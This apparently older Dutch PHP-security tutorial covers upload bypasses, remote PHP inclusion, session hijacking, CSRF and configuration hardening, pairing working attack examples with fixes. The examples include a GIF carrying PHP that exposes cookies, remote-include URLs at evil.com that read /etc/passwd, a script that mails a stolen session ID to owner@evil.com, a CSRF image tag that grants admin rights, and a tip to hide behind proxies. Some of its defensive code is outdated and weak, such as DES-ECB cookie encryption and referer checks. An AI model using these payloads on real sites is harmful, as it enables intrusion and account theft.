Dit script is vatbaar voor brute force. Door ontelbaar vaak een wachtwoord en een gebruikersnaam te proberen zullen we uiteindelijk de combinatie 'trouby' en 'passwd' vinden. Aangezien gebruikersnamen van een login gemakkelijk te vinden zijn op een website resteert ons alleen nog maar de juiste wachtwoord te vinden. Veel wachtwoorden zijn niet moeilijk te raden en dmv een woordenboek kunnen we dit paswoord 'passwd' erg snel vinden.

**Oplossing**
Hoe moet het dan wel? Bij een login script:
- Een maximaal aantal logins toestaan (bijv. 10); Daarna altijd de login afkeuren. Een echte gebruiker zal na 10 foutieve logins allang een e-mail hebben gestuurd om een wachtwoord reset aan te vragen.
- Bij een login poging het script altijd minimaal 1 seconde vertragen. Ongeacht of het een foutieve of correcte login is. Wanneer je alleen bij foutieve login pogingen het script een seconde vertraagt, dan kan de cracker de pauze herkennen en sneller doorgaan naar de volgende poging.
- Een wachtwoord moet minimaal uit 6 karakters bestaan (hoofdletters, kleine letters en nummers).
- Geen melding geven of de gebruikersnaam of het wachtwoord foutief waren. Zou je dat wel doen, dan geef je kostbare informatie weg, zoals correcte usernames.

Gebruik bovendien SSL in een login script, zodat niemand de gebruikersnaam en wachtwoord kan onderscheppen.

# 7 Upload Hacks

Heb of gebruik je een upload script op je website? Dan zal ik dit stuk maar eens goed doorlezen. Ik heb veel upload scripts gezien, maar weinig scripts zijn echt veilig. Als je een upload script gaat schrijven, of gebruikt, dan moet je rekening houden met de volgende punten:

1. Voor wie is de upload bedoeld? Is het voor iedereen of prive gebruik?
2. Wat voor bestanden mogen er worden geupload?

**1. Voor wie is de upload bedoeld? Is het voor iedereen of prive gebruik?**
Veel upload scripts zijn voor het publiek open, maar wanneer je script verkeerd geschreven, is dan kan je upload worden misbruikt bij bijvoorbeeld een crack poging. Het nare hiervan is dat jij verantwoordelijk bent voor het gebruik van jouw server! En als via jouw server een crack poging wordt gedetecteerd..

Stel dat ik een cracker ben, ik heb een script gevonden die vatbaar is voor Remote PHP Execution. Om te gaan remote PHP-en heb ik een webserver nodig om mijn PHP code op te zetten die ik wil laten uitvoeren bij het script die remote PHP execution toelaat. Ik zou mijn eigen webserver kunnen gebruiker om PHP code te uploaden en die vervolgens te laten parsen door de webserver van mijn slachtoffer. Maar hiermee geeft ik wel mijn eigen webserver prijs in de logs van Apache (elk bezoek aan een pagina wordt door Apache gelogd):

```
125.123.123.123 - - [07/May/2004:15:22:16 +0200] "GET /
index.php?page=http://www.mywebserver.com/script.txt HTTP/1.1" 200 920 "" "Mozilla/5.0 (X11; U;
Linux i686; en-US; rv:1.4) Gecko/20030630"
```

Hiermee geeft ik mijn eigen webserver prijs en kan ik achterhaald worden.

Maargoed, je hebt dus een publiek upload script. Ik upload vervolgens mijn script.txt, met daarin de PHP code die ik wil uitvoeren bij mijn slachtoffer, via jouw upload. Ik misbruikt jouw upload om zijn PHP code te laten parsen door het slachtoffer van de cracker. De volgende log entry wordt gegenereerd door Apache bij het slachtoffer:

```
125.123.123.123 - - [07/May/2004:15:22:16 +0200] "GET /
index.php?page=http://www.yourwebserver.net/files/script.txt HTTP/1.1" 200 920 "" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.4) Gecko/20030630"
```

Denk hier dus aan als je een publieke upload hebt!

**Noot**
*"En het IP adres van ons dan? die wordt ook gelogd!"*
Als we een crack poging gaan doen, dan verbergen we ons IP adres achter een anonymous proxy. Meer informatie over proxies is te vinden op de website:

```
http://www.stayinvisible.com
```

**2. Wat voor bestanden mogen worden geupload?**
Dit is erg belangrijk. Je kan op twee manieren checken wat voor bestand er geupload is:

1. Check de extensie van het bestand.
2. Check de content type van het bestand.

Ik raad je dan ook aan om alle twee de checks uit te voeren op het geuploade bestand.

Als je alleen de extensie checkt dan kan jouw script worden gebruik als opslag middel voor allerlei bestanden. Stel dat je alleen .jpg en .gif toelaat in je upload script. Dan kan ik mijn script.txt gewoon hernoemen naar script.jpg en het vervolgens gebruiken bij een Remote PHP Execution crack (PHP lees de inhoud van een bestand, de extensie boeit niet).

Laat in ieder geval nooit uploads toe met de extensie:
php, php3 (de cracker upload PHP code..),
html, htm, js (de gebruiker kan cookies stelen van jouw bezoekers)

Check je alleen de content type van een bestand, dan is jouw script vatbaar voor de Content Type Hack (zie volgende sectie).

## 8 Mime Content Type Hack

De functie PHP functie mime_content_type() geeft de content type van een file. Dus:

```
<?php
print mime_content_type('plaatje.gif');  // prints 'image/gif'
?>
```

De content type van een bestand wordt bepaald door bepaalde patronen in een bestand. Zo heeft ieder GIF bestand een bepaald patroon. Voor de details wilt weten van hoe de content type bepaald wordt, raad ik de volgende site aan om door te lezen:

```
http://www.jmu.edu/cisc/research/publications/ HICCSSTFMS04.pdf
```

We kunnen de content type van een bestand niet vervalsen, maar wel misbruiken.

**Upload hack**
Er zijn upload scripts op internet waar je alleen plaatjes kan uploaden. De meeste upload scripts bekijken het ge-uploade plaatje op de extensie, maar er zijn ook script die het ge-uploade plaatje bekijken op mime content type en deze upload scripts kun je hacken. We nemen een simpel upload script:

```
<?php
// upload.php

if ($_SERVER['REQUEST_METHOD'] == 'POST')
  if ($_FILES['file']['type'] == 'image/gif')
    move_uploaded_file(
      $_FILES['file']['tmp_name'],
      '/home/sijmen/public_html/files/'.$_FILES['file']['name']
    ); // the map /files has chmod 666 (read and write permission)
  else
    print 'No picture uploaded! <br>';
}
?>
<form enctype="multipart/form-data" action="upload.php" method="post">
  Send this file: <input name="file" type="file" />
  <input type="submit" value="Send File" />
</form>
```

Stel nu dan we een GIF plaatje nemen, en die openen met kladblok. Plaatsen aan het eind van het bestand:

```
...
<?php
for ($i=0; $i<4; $i++)
  print '<script>alert(document.cookie);</script>';
?>
```

vervolgens hernoemen we het bestand naar plaatje.php en uploaden we het met de bovenstaand script. Het plaatje zal als content type 'image/gif' gedetecteerd worden en het plaatje wordt succesvol geplaats in:

```
/home/sijmen/public_html/files/
```

We roepen het 'plaatje' nu aan met de browser:

```
http://www.example.com/files/plaatje.php
```

En omdat ons 'plaatje' de extensie 'php' heeft, zal PHP het bestand parsen en dus zal je 4 keer een javascript popupje zien met daarin eventueel je cookie van de site. Dit is dus weer een voorbeeld van Remote PHP Execution (zie begin artikel).

**Oplossing**
Check de content-type en de extensie van een bestand. Je zou eventueel het geuploade bestand kunnen bewaren onder een door jouw gekozen bestandsnaam en niet de orginele.

# 9 Session Hijacking

Je kan PHP sessies overnemen. PHP's standaard sessie instellingen bieden absoluut geen garantie voor veilige sessies. Waarom niet?

- Standaard bewaard PHP de session files in een gezamelijke map, wat betekent dat als de server waar jouw website op draait, meerdere websites heeft draaien, dat die websites de sessies van jouw bezoekers kunnen lezen! Geen prettige gedachte.. want als een cracker dan 1 website op de server gecrackt hij de session files van alle websites op de server kan manipuleren.
- Een sessie wordt niet gelocked aan een IP adres, omdat PHP de mogelijkheid wil openhouden om een sessie te kunnen voortzetten ook al heeft de bezoeker de website al verlaten. Zo kan een sessie meedere dagen duren (als dit is ingesteld).

**Sessie ID**

PHP genereert voor iedere sessie een unique ID die wordt standaard in de volgende elementen gezet:

- een link naar index.php op je eigen pagina wordt door PHP omgezet naar: index.php?PHPSESSID=deSessieID
- PHP zet een cookie met de naam 'PHPSESSID' en met de waarde 'deSessieID'
  - wanneer je een <form> HTML tag gebruikt en de pagina naar een script verstuurd op je eigen server, dan voegt PHP de volgende <input> tag toe: <input type="hidden" name="PHPSESSID" value="deSessieID" />

De gebruiker krijgt een ID toegewezen van PHP, en PHP probeert die ID te behouden door overal in de pagina (forms, links, cookies) de sessie ID neer te zetten. Zodat de sessie behouden blijft in de volgende pagina's (voor als je cookies disabled hebt).

**Noot**

Wil je geen session ID's in de URL balk, zet dan de php.ini waarde session.use_only_cookies op true. Let er wel op dat niet iedereen cookies accepteerd. Bij deze mensen kan PHP niet een sessie over meerdere pagina's volbrengen..

Als iemand jouw ID te pakken krijgt dan kan iemand jouw sessie overnemen door bij zichzelf een cookie te zetten met de naam PHPSESSID en met jouw unieke ID.

## 9.1 Session Hijacking in de praktijk

Een tijd geleden kon je een Hotmail (e-mail adres) account overnemen door diegene een e-mail te sturen met daar in een link naar bijvoorbeeld jouw website. Stel dat we de volgende e-mail zouden sturen:

```
Hey John,

Deze page ruled echt, moet je echt even bekijken:
http://www.evil.com/index.php

Groeten,

Mart
```

Veronderstel dat de ontvanger van onze e-mail bericht op de link klinkt. De pagina wordt geladen, en het script dat wordt uitgevoerd is als volgt:

```
<?php
if (isset($_SERVER['HTTP_REFERER']))
  mail('owner@evil.com', 'referer logged', $_SERVER['HTTP_REFERER']);
?>
Hier de normale pagina van je site of iets dergelijks.
```

Voor wie niet bekend is met de variabele '$_SERVER['HTTP_REFERER']', hierin staat het volledige adres van de pagina die je hiervoor hebt bezocht. Deze wordt meegestuurd door de meeste browsers, voor verscheidene doeleinden. Doordat de sessie ID in de URL balk staat, krijgen we het volgende bericht:

```
http://by8fd.bay8.hotmail.msn.com/cgi-
bin/HoTMaiL?curmbox=F000000001&a=20388db155d1864696e17d37783e2db0
```

Aangezien 'a' waarschijnlijk de ID is van PHP is (of een andere script taal, bij Hotmail zal het waarschijnlijk ASP zijn), moeten we:

1. Een cookie zetten met de naam 'a' met als waarde '20388db155d1864696e17d37783e2db0'. Een programma waarmee je cookies bij jezelf kan zetten is: Promomitron.
2. De referer URL gewoon intikken in je browser.

Zo kon je vroeger een Hotmail account bekijken, aangezien Hotmail toen niet aan IP locking deed. Gelukkig is dit gat in Hotmail al gefixed..

**Oplossing**
Het volgende script rekent met alle 2 de probleem af. Hiermee locken we een sessie aan een IP adres en zetten we een directory waarin PHP de session files mag opslaan:

```
<?php
// session.inc.php
session_start();
ini_set('session.save_path', '/home/sijmen/tmp');
ini_set('session.name', 'hash'); # try to hide the session name..
if (!isset($_SESSION['ip']))
  $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
if ($_SESSION['ip'] != $_SERVER['REMOTE_ADDR'];
  trigger_error("Session Hijacking detected!", E_USER_WARNING);
?>
```

include bovenstaande script op elke pagina gewoon:

```
<?php
include 'session.inc.php';
// ..
?>
```

ipv 'session_start()' op iedere pagina.

Ik bespreek verder op in dit artikel hoe je cookies kunt koppelen aan een gebruiker zodat session hijacking onmogelijk wordt.

## 10 Secure Cookies

Cookies bieden standaard geen beveiliging tegen hijacking. De bezoeker kan de inhoud van een cookies wijzigen. Redenen genoeg om een eigen cookie handler te maken. Onderstaande code spreek behoorlijk voor zichzelf. Het encrypt jouw cookies met een geheime string en lockt de cookies aan het IP van de gebruiker. Ik gebruik onderstaande code om al mijn cookies te zetten.

Mensen die een dynamische IP adres hebben, zullen niet van de gezette cookie gebruik kunnen maken, aangezien de cookie gelokt is aan het vorige IP adres van de gebruiker.

```php
<?php
/* package cookie
*   deleteAll()
*   delete()
*   get()
*   set()
*
*   decrypt()
*   encrypt()
*
* Description
* Set safe cookies and bind them to the current IP of the user.
*/
class cookie
{


    /* public deleteAll (void)
     *
     * Description
     * Delete all cookies from the client.
     */
    function deleteAll()
    {
        reset($_COOKIE);
        while (list($key,$val) = each($_COOKIE))
            cookie::delete($key,$val,(time() - (60*60*24)));
    }


    /* public delete (a)
     *   String a: Cookie name to be deleted
     *
     * Description
     * Deletes cookie with name set in argument A.
     */
    function delete($cookie_name)
    {
        setcookie($cookie_name,'', mktime(12,0,0,1, 1, 1990), COOKIE_PATH, COOKIE_DOMAIN,
COOKIE_SECURE);
        unset($_COOKIE[$cookie_name]);
    }


    /* private decrypt (a)
     *   Array a: Data to be decrypted
     *
     * Description
     * Decrypts the cookie.
     */
    function decrypt($data)
    {
        $td = mcrypt_module_open(MCRYPT_DES,"",MCRYPT_MODE_ECB,"");
        $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
        mcrypt_generic_init($td,COOKIE_KEY,$iv);
        $data = mdecrypt_generic($td, base64_decode($data));
        mcrypt_generic_deinit($td);

        # The 1st letter must always be a ! if not then someone messed with our data.
        if (substr($data,0,1) != '!')
            return false;
```

```
        $data = substr($data,1,strlen($data)-1);
        return unserialize($data);
    }


    /* pricate encrypt (a)
     *   Array a: Data to be encrypted
     *
     * Description
     * Encrypt the cookie data.
     */
    function encrypt($data)
    {
        $data = serialize($data);
        $td = mcrypt_module_open(MCRYPT_DES,"",MCRYPT_MODE_ECB,"");
        $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
        mcrypt_generic_init($td,COOKIE_KEY,$iv);
        $data = base64_encode(mcrypt_generic($td, '!'.$data));
        mcrypt_generic_deinit($td);
        return $data;
    }


    /* public get (a)
     *   String a: Cookie name to get the content from
     *
     * Description
     * Get the content from a cookie. It will return an array values that were
     * set during the cookie set.
     */
    function get($cookie_name)
    {
        # No cookie was set
        if (!isset( $_COOKIE[$cookie_name] ))
            return -1;

        $cookie = cookie::decrypt($_COOKIE[$cookie_name]);

        # Decryption failed
        if (!$cookie) {
            trigger_error("We could't decrypt cookie '$cookie_name'! Cookie content '".$_COOKIE
[$cookie_name]."'.", E_USER_NOTICE);
            cookie::delete($cookie_name);
            return -2;
        }

        # Cookie theft - session hijacking
        if ( !isset($cookie['ip']) || ($cookie['ip'] != $_SERVER['REMOTE_ADDR']) ) {
            trigger_error("Cookie theft? Client IP '".$_SERVER['REMOTE_ADDR']."' didn't match the IP
set in the cookie: '".$cookie['ip']."'. Cookie name: $cookie_name", E_USER_NOTICE);
            cookie::delete($cookie_name);
            return -3;
        }

        # Return the content of the cookie
        unset($cookie['ip']);
        return $cookie;
    }


    /* public set (a, b, [c])
     *            String a: Cookie name
     *             Array b: Cookie content
     *   Optional String c: Set the life time of the cookie. Default is that the cookie will
     *                      have a life as long as the session with the website.
     *
     * Description
     * Set a cookie on the client's computer.
     *
     * Note
     * Argument C must be called like 'time()+(60*60)' to set a cookie for an hour. Please
     * note that the client can have set a different time then the server..
```

```
     */
    function set($cookie_name, $cookie_data, $time=0)
    {
        if (!is_array($cookie_data)) {
            trigger_error(trb_varDump($cookie_data).' is not an array!', E_USER_WARNING);
            return false;
        }

        /* Policy: does not store identifiable information
         * This will enable your cookie to survive any IE-6 privacy settings. We can now
         * set a cookie in a framed websites etc..
         */
        header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');

        $cookie_data['ip'] = $_SERVER['REMOTE_ADDR'];
        return setcookie($cookie_name, cookie::encrypt($cookie_data), $time, COOKIE_PATH,
COOKIE_DOMAIN, COOKIE_SECURE);
    }
}
?>
```

Ik gebruik deze functies voor mijn eigen session handler, zodat de sessies van mijn gebruikers niet gehijacked kunnen worden.

De class gebruikt mcrypt, wat niet een standaard onderdeel van PHP is.

## 11 Admin linking

Dit probleem doet zich vooral voor bij open source web applicaties. Stel dat ik de admin ben van www.example.com. Ik heb tijdens mijn user login op de site 'always login' aangevinkt. Iedere keer dat ik example.com bezoek staat er 'Hi Sijmen', gewoon omdat de website een cookie heeft gezet met daarin mijn login gegevens.

Stel nu dat ik het volgende script heb draaien op mijn website:

```
<?php
// /admin/change_user_status.php
include 'library.php';

if (!trb_login() || trb_getStatus() < 2)
  die("No access allowed");

if (isset($_GET['id']) && is_numeric($_GET['id']) && isset($_GET['status'])) {
    switch ($_GET['status']) {
        case 'user':
           $status = 0;
           break;
        case 'mod':
           $status = 1;
           break;
        case 'admin':
           $status = 2;
           break;
    }
    mysql_query("
      UPDATE
        users
      SET
        status = '$status'
      WHERE
        id = '".$_GET['id']."'
    ");
}
?>
```

Dit script wordt aangeroepen nadat de admin vanuit een andere pagina een formulier heeft ingevuld met daarin een user en zijn nieuwe status. Wanneer hij dat formulier verzendt, wordt dat formulier opgestuurd naar change_user_status.php (zie hierboven). Dat script kijkt of de gebruiker is ingelogd en of de ingelogde gebruiker een admin is. Zoja, dan krijgt de gebruiker een nieuwe status.

Laten we aannemen dat in de functies trb_login() en trb_getStatus() geen beveiligings gaten zitten. Een cracker kan de admin van example.com proberen naar een site te lokken, op die site zet hij de evil HTML code:

```
Site content here.
<img
  src='http://www.example.com/admin/change_user_status.php?id=103&status=admin'
  width='1px'
  height='1px'
  alt=''
/>
More content....
```

Zodra de admin op de pagina van de cracker komt, wordt het plaatje geladen. Doordat het plaatje een HTTP request maakt naar www.example.com/admin/change_user_status.php?id=103&status=admin, wordt het script change_user_status.php succesvol uitgevoerd en krijgt user_id 103 admin status. Dit kan alleen als een admin van example.com altijd ingelogd is en op de site van de cracker komt.

Door de admin van example.com naar de website van de cracker te locken zorgt de cracker ervoor dat hij admin rechten krijgt op example.com.

Het risico dat deze exploit voor komt in jouw website is erg klein als je niet gebruik maakt van open source webapplicaties. Maak de je daarentegen gebruik van bijv. PHP-Nuke, dan kan iedereen de source code van

jouw admin bekijken en een gevaarlijke URL opstellen. Dan is het simpelweg de admin naar jouw website lokken..

**Hoe bescherm je je website tegen admin linking?**
Door te kijken in de referer van de gebruiker. Kijk of de referer de URL van een andere site bevat. Zo ja, verschaf dat geen toegang tot je script. Geef in geen geval een foutmelding als 'Verkeerde referer gedetecteerd!', een referer is gewoon een lijn in de HTTP header en dus heel gemakkelijk te spoofer.

Selecteer nooit 'onthoud de login gegevens' tijdens de login procedure.

Er zijn nog verscheidene andere methoden, wees creatief.

## 12 CGI PHP

Als je PHP geinstalleerd hebt als een CGI binary, dan doe je er goed aan om de manual eens door te lezen:

```
http://nl2.php.net/manual/en/security.cgi-bin.php
```

PHP als CGI binary is namelijk niet zonder risico en heeft een geschiedenis met ernstige exploits.

### 13.1 Hoe CGI PHP beschermd tegen het offline gooien van je HTTP server

Je kan met PHP shell commands uitvoeren, dus programma's uitvoeren. De volgende command:

```
<?php
system('killall -11 httpd');
?>
```

Zal alle 'kinderen' van de deamon uitschakelen. Dit kan, omdat alle kinderen van de deamon dezelfde rechten hebben. Dat betekent dat 1 kind, alle kinderen van de deamon kan uitschakelen. Er zijn verscheidene beveiligingen hiertegen:

1. Zorg ervoor dat de webserver environment variabele PATH geen gevaarlijke paths bevat, zoals de paths naar directories waar de programma's 'kill' en 'killall' in staan.
2. Zet command execution uit dmv Safe Mode of de disable functions config command.
3. Run SUEXEC, zodat het script niet onder dezelfde user runt als Apache.

### 13.2 Waarom je de CGI PHP executable nooit in je web directory moet zetten

Heb je de CGI PHP executable in je web directory zitten, dan kan iedereen elke file op het systeem bekijken:

```
http://www.example.com/cgi-bin/php?/etc/passwd
```

Zet de php executable dus nooit in je webdirectory!

Als laatste punt wil ik zeggen dat PHP of Apache onder geen enkele voorwaarde als root mogen draaien!

## 13 Configuratie

Een programma kan heel veilig en gestructureerd geprogrammeerd zijn, maar als het verkeerd geconfigureerd is dan is het programma nog steeds niet veilig. Dit geldt ook voor PHP. Hieronder in het kort hoe je PHP opties kan wijzigen. Voor een gedetailleerdere omschrijving zie de PHP manual.

Je kan PHP opties op **drie manieren** veranderen:
1. **php.ini**; Dit is de configuratie file van PHP. Alles wat je hier instelt, heeft betrekking op je PHP scripts.
2. **.htaccess**; De configuratie file van apache. Maak in de directory van je script het bestand '.htaccess' aan en zet daarin: 'php_value dePhpOptie 0'.
3. **ini_set();** Dit is een functie van PHP.

Niet alle configuratie opties van PHP kun je op alle drie de manieren wijzigen. Op http://php.net/ini_set staat een lijst van alle PHP opties en op welke manieren je ze kan veranderen. De betekenis van de gebruikte woorden in de PHP manual:

*PHP_INI_ALL* : Je kan de optie veranderen met manier 1, 2 en 3.
*PHP_INI_PERDIR* : Je kan de optie veranderen met manier 1 en 2.
*PHP_INI_SYSTEM* : Je kan de optie veranderen met manier 1.

**register_globals** - *PHP_INI_PERDIR*
Het is erg belangrijk dat deze optie uitstaat! Het staat sinds PHP 4.2 (?) standaard uit. Wanneer je deze optie aan hebt staan, creëer je een performance lost en stel je de beveiliging van je scripts in het gevaar. Normaal gesproken als je een script aanroept en je geeft variabelen mee in de URL, dan komen die variabelen terecht in de $_GET array. Met register_globals aan, dan *registreert* PHP de variabele die normaal als key zou worden gezet in de $_GET array. Voorbeeld:

```
<?php
// Script called: script.php?name=trouby
if (ini_get('register_globals'))
  print $name;
else
  print $_GET['name'];
?>
```

Een voorbeeld van een (slecht) script die een paswoord checkt:

```
<?php
// script.php
  if ($password == "secret")
   $auth = 1;

  if ($auth == 1)
   print "Welcome to our admin!";
?>
```

Wanneer je dit script aanroept met script.php?auth=1 dan returnt het script 'Welcome to our admin!'. Niet goed dus! Omdat deze optie veel invloed heeft op de beveiliging van je scripts geeft ik nog een voorbeeld van een Remote PHP Execution exploit:

```
<?php
// index.php
$absolute = $_SERVER['HTTP_HOST'].'/mysite';
$language = (isset($_GET['lang']) ? $_GET['lang'] : 'en');
include “$absolute/language.inc.php”;
// etc..
?>
```

```
<?php
// language.inc.php
$languages = array('en', 'du', 'nl', 'fa');
if (in_array($language, $languages))
  include "$absolute/languages/$language.php";
?>
```

Om dit script te hacken moeten de volgende configuratie opties aan staan:
- register_globals

- allow_url_fopen (wordt verderop in dit artikel besproken)

Roep language.inc.php maar eens als volgt aan:

```
language.inc.php?absolute=http://www.evil.com&language=en
```

```
<?php
// http://www.evil.com/languages/en.php
print '<?php';
?>

include ('/etc/passwd');
print 'some more PHP';

<?php
print '?>';
?>
```

language.inc.php zal de inhoud van /etc/passwd weergeven en 'some more PHP'. Het lijkt me duidelijk dat *register_globals* uit moet staan! Overigens, een leuke truuc is om in je main file een constante te defineren, en die vervolgens checken in iedere included file.

```
<?php
// main.php
define ('SECURITY', true);
include 'sub.inc.php';
?>
```

```
<?php
// sub.inc.php
if (!defined('SECURITY'))
  exit('You may not call this file directly!');

print 'you will only see this when this file is included by main.php.';
?>
```

Meer voorbeelden en uitleg:

```
http://nl2.php.net/manual/en/security.globals.php
```

**open_basedir** - *PHP_INI_SYSTEM*
Met deze optie zet je zeg maar een soort van muur in het bestanden systeem. PHP kan niet met bestanden werken die buiten de directory staan, die je met *open_basedir* hebt ingesteld. Hiermee beperk je de macht van PHP. Zo kan in ons voorbeeld van de navigatie script, het bestand '/etc/passwd' niet worden gelezen doordat dat bestand buiten de map staat die met open_basedir ingesteld is. Je doet er goed aan andere bestanden hiermee af te schermen.

**safe_mode** - *PHP_INI_SYSTEM*
Door deze optie aan te zetten, beperk je een heleboel mogelijkheden van PHP. Als jouw scripts goed werken met safe_mode die aan staat, dan zou ik de optie aan laten staan. Maar mijn complexe scripts werken niet goed met deze optie op aan. Probeer de optie eens zou ik zeggen.

**display_errors** – PHP_INI_ALL
Voor een test site zal ik de optie aanzetten om fouten te vinden, maar op productieve website moet je deze optie uitzetten. Verscheidene redenen hiervoor:
1. Errors op je webpagina staan erg slorig en geeft de eventuele klant helemaal geen vertrouwd gevoel van het desbetreffende bedrijf.
2. Een error geeft een cracker waardevolle informatie.

Ik raad je dan ook aan om een eigen error handler te schrijven, die de error wegschrijft naar een SQL tabel (en een bestand voor als de db down is). Zo kan je de gebruiker een nette error pagina laten zien. Door een eigen error handler te maken kan je dus ook geautomatiseerd jezelf een e-mail sturen met daarin de error details. *Let op* dat jouw error handler jezelf niet gaat bestoken met 1000den e-mailtjes; beveilig dit dmv cron jobs of iets dergelijks.

**error_reporting** – PHP_INI_ALL
Het is erg belangrijk dat je deze optie op E_ALL zet, zodat je 'gevaarlijke' variabelen detecteert. Om maar meteen een voorbeeld te geven:

```
<?php
// login.php
if ($user == 'Sijmen' && $pass == 'secret')
  $auth = true;
if ($auth)
  readfile('/home/sijmen/passwords.txt');  // belangrijk bestand
else
   print 'login form';
?>
```

Door dit bestand als volgt aan te roepen, omzeil ik de login:

```
login.php?auth=1
```

Als je error reporting op E_ALL zet, dan zal je de eerste keer als je het script aanroept de volgende error krijgen:

```
Undefined variable: auth in /home/sijmen/public_html/script.php on line 5
```

Deze foutmelding zegt dat de variabele 'auth' niet gezet is (en dus als register_globals aanstaat, in de URL balk kan worden ingevuld ?auth=1). Een correcter script zou zijn:

```
<?php
// login.php
$auth = false;
if ($user == 'Sijmen' && $pass == 'secret')
  $auth = true;
if ($auth)
  readfile('/home/sijmen/passwords.txt');  // belangrijk bestand
else
   print 'login form';
?>
```

**allow_url_fopen –** PHP_INI_SYSTEM
Sinds PHP 5 is de optie om deze optie te veranderen gezet naar 'PHP_INI_SYSTEM'. PHP versie 4 hanteert de de optie PHP_INI_ALL. Door deze optie uit te zetten, zet je de mogelijkheid van PHP om met remote bestanden te werken uit. Weinig websites hebben de mogelijkheid nodig om met remote bestanden te werken, dus ik raad je aan om deze optie uit te zetten.

We nemen weer het voorbeeld van het navigatie script. Als *allow_url_fopen* aanstond dan kon je remote PHP uitvoeren. Een voorbeeld van waarom je deze optie uit moet zetten:

```
<?php
// this file is hosted at: www.server-b.com/script.txt
print 'hi!';
?>
```

```
<?php
// this file is hosted at: www.server-a.com/test.php
if (get_magic_quotes_gpc())
   include 'http://www.server-b.com/script.txt';
else
  print 'remote PHP execution not enabled';
?>
```

**asp_tags** - PHP_INI_?
Standaard staat deze optie uit. Laat deze uit. Deze optie is alleen handig als je je ASP scripts overzet naar PHP.

**magic_quotes_gpc** – PHP_INI_PERDIR

Haalt automatisch de arrays $_GET, $_POST, $_COOKIE door de functie addslashes(). Default staat deze functie aan en ik raad je ook aan om deze aan te laten staan als je veel met queries werkt en/of een UBB parser hebt. Zie ook de sectie *SQL injection* en *UBB Hacks*.
**expose_php** – PHP_INI_PERDIR
Nergens voor nodig om informatie over PHP weer te geven in directory listings. Zet deze optie dan ook uit.

**PHP extensie veranderen**
Het kan helemaal geen kwaad om de normale extensie van PHP te veranderen in '.asp', '.html' of een andere extensie. Zo lijkt het net alsof er geen PHP op de server draait, maar dat er gewoon een HTML pagina wordt weergegeven.

Maak een .htaccess bestand aan in de map van je website en plaats erin:

```
# Make all PHP code look like HTML
AddType application/x-httpd-php .htm .html
```

en hernoem al je .php bestanden naar .html en je PHP scripts zullen werken.

**Noot**
Alle .html bestanden zullen nu door PHP geparsed worden. Heb je veel .html bestanden op je server staan, dan gaat de load van je server ook omhoog!

**Let op**
De extensie veranderen heeft helemaal geen nut als je 'expose_php' op 'On' hebt staan, als je de volgende string achter een pagina plaatst, dan zie je de PHP credits:

```
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
```

Dus op deze pagina worden de PHP credits weergegeven:

```
http://www.example.com/welcome.html?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
```

De credits worden gedisabled wanneer je de PHP configuratie optie 'expose_php' uit zet.

**ServerSignature**
Dit is een apache configuratie optie en voor de veiligheid moet je het uitzetten:

```
# Don't display the installed Apache modules and there version numbers
ServerSignature Off
```

## Conclusie

Het is opletten geblazen tijdens het programmeren. Je kan snel de fout in gaan en een niet veilige applicatie schrijven. Het lijkt ver weg dat je web applicatie gecrackt zal worden, maar als het gebeurt, dan wordt jouw vaak nalatigheid verweten. Ik hoop dat ik jullie aangestoken heb, om je eens te verdiepen in computer beveiliging, want beveiliging is een proces en geen product. Je moet up-to-date blijven om jouw website zo veilig mogelijk te maken.

Toch wil ik nog even herhalen, blijf de user input checken! En let op ge-encodeerde user input, uit bijvoorbeeld een cookie.

Ik ben geen webserver expert, maar zorg dat je de laatste (stabiele) versies gebruikt en installeer alle patches op je webserver. Zet een firewall op en bekijk (of scan) de apache logs geregeld.

Voor diegene die PHP 3 draaien moeten eens dit artikel lezen. Dit artikel behandelt een boel PHP hacks die verholpen zijn in PHP 4:

```
http://www.securereality.com.au/archives/studyinscarlet.txt
```

Een mooie aanvulling op dit artikel is de (incomplete) sectie van de PHP manual over beveiliging:

```
http://www.php.net/manual/en/security.index.php
```

10 manieren om PHP te laten crashen:

```
http://ilia.ws/archives/5_Top_10_ways_to_crash_PHP.html
```

Beveiliging van CGI scripts:

```
http://www.jwcs.net/~jonathan/cgisecurity.htm
```

Voor de rest hoop ik dat ik je hebt aangestoken om je te instresseren in beveiliging. Beveiliging is een proces en geen product, dus blijft op de hoogte van de laatste exploits om jouw site ertegen te beveiligen. Lees de manual aandachtig door (en vooral de user comments!) voordat je een onbekende functie gebruikt. De in het begin besproken include() hack (remote PHP execution) had je vanaf kunnen weten als je de user comments had gelezen.

Ik sta graag open voor reacties of opmerkingen over dit artikel. Heb ik iets verkeerd, ben je van mening dat je wat toe te voegen hebt over dit artikel of wil jij dit artikel vertalen naar het Engels, e-mail me dan op:

sijmen at digitized dot nl

**Over de auteur**
Sijmen Ruwhof is een freelance web programmeur.